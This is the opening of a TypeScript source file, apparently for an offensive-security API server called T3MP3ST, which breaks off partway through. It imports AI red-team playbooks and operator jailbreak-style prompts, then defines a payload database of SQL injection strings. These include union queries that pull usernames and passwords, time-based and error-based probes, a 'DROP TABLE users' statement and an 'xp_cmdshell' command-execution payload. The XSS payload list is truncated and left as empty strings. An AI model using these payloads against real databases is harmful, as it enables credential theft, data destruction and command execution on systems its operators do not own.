/** * T3MP3ST API Server v2.0 * * Production-grade API server powering t3mp3st offensive-security operations with: * - Comprehensive payload databases (200+ payloads) * - Real vulnerability validation * - Secret pattern detection * - Privilege escalation databases * - LLM integration for intelligent analysis */ import express, { Request, Response, NextFunction } from 'express'; import cors from 'cors'; import { execFile, spawn } from 'child_process'; import { appendFile, mkdir, readFile, writeFile } from 'fs/promises'; import { join } from 'path'; import { promisify } from 'util'; import { createHash, randomUUID } from 'crypto'; import { config } from './config/index.js'; import { redactString, redactLedgerText, redactSecrets } from './redact.js'; import { LLMBackbone } from './llm/index.js'; import { TempestCommand } from './index.js'; import { OpGeneral } from './general/index.js'; import type { Directive } from './general/index.js'; import { detectLocalAgents, pingLocalAgent, runLocalAgent, syncLocalAgentSelection } from './agent/local-agents.js'; import { FRONTIER_ARSENAL_MILESTONE, NETWORK_COMMANDS, SAFE_COMMANDS, TOOL_ADAPTERS, adapterForBinary, adaptersForFamily, summarizeToolCatalog } from './arsenal/catalog.js'; import { AGENT_PROMPT_PACKS, FOREFRONT_PRESSURE_LANES, OPERATOR_RUNBOOKS, RESOURCE_PACKS, WORKFLOW_PRESETS, forefrontPressureForFamily, promptPacksForFamily, resourcesForFamily, runbookForFamily, searchResources, workflowPresetsForFamily } from './resources/index.js'; import { AI_REDTEAM_PLAYBOOK, AI_REDTEAM_TECHNIQUE_IDS, aiRedTeamBriefing } from './resources/ai-redteam-playbook.js'; import { OPERATOR_SYSTEM_PROMPTS, PLINIAN_OPERATOR_DOCTRINE, THE_FIXER_SYSTEM_PROMPT } from './prompts/index.js'; import { createTargetFromUrl, createTargetFromIP } from './target/index.js'; import type { OperatorArchetype } from './types/index.js'; import { listOperatorPrompts, setOperatorOverride, resetOperatorOverride, type OperatorOverride } from './operators/index.js'; import { ingestRepoToSourceContext, runWhiteboxAnalysis, resolveContainedRepoPath, RepoPathError } from './recon/whitebox.js'; import { redactCredential } from './evidence/index.js'; import dotenv from 'dotenv'; dotenv.config(); const execFileAsync = promisify(execFile); // ============================================================================= // PAYLOAD DATABASES (Shared with MCP server) // ============================================================================= const PAYLOAD_DB = { sqli: { union: [ "' UNION SELECT NULL--", "' UNION SELECT NULL,NULL--", "' UNION SELECT NULL,NULL,NULL--", "' UNION ALL SELECT 1,2,3,4,5--", "' UNION SELECT username,password FROM users--", "' UNION SELECT table_name,NULL FROM information_schema.tables--", "' UNION SELECT @@version,NULL--", "' UNION SELECT user(),database()--" ], blind_boolean: [ "' AND '1'='1", "' AND '1'='2", "' AND 1=1--", "' AND 1=2--", "' AND SUBSTRING(username,1,1)='a' FROM users--", "' AND (SELECT COUNT(*) FROM users)>0--" ], blind_time: [ "'; WAITFOR DELAY '0:0:5'--", "' AND SLEEP(5)--", "' AND BENCHMARK(5000000,MD5('test'))--", "'; SELECT pg_sleep(5)--" ], error_based: [ "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))--", "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version)),1)--" ], stacked: [ "'; DROP TABLE users--", "'; INSERT INTO users VALUES('hacker','hacked')--", "'; EXEC xp_cmdshell('whoami')--" ] }, xss: { html: [ '', '', '', '', '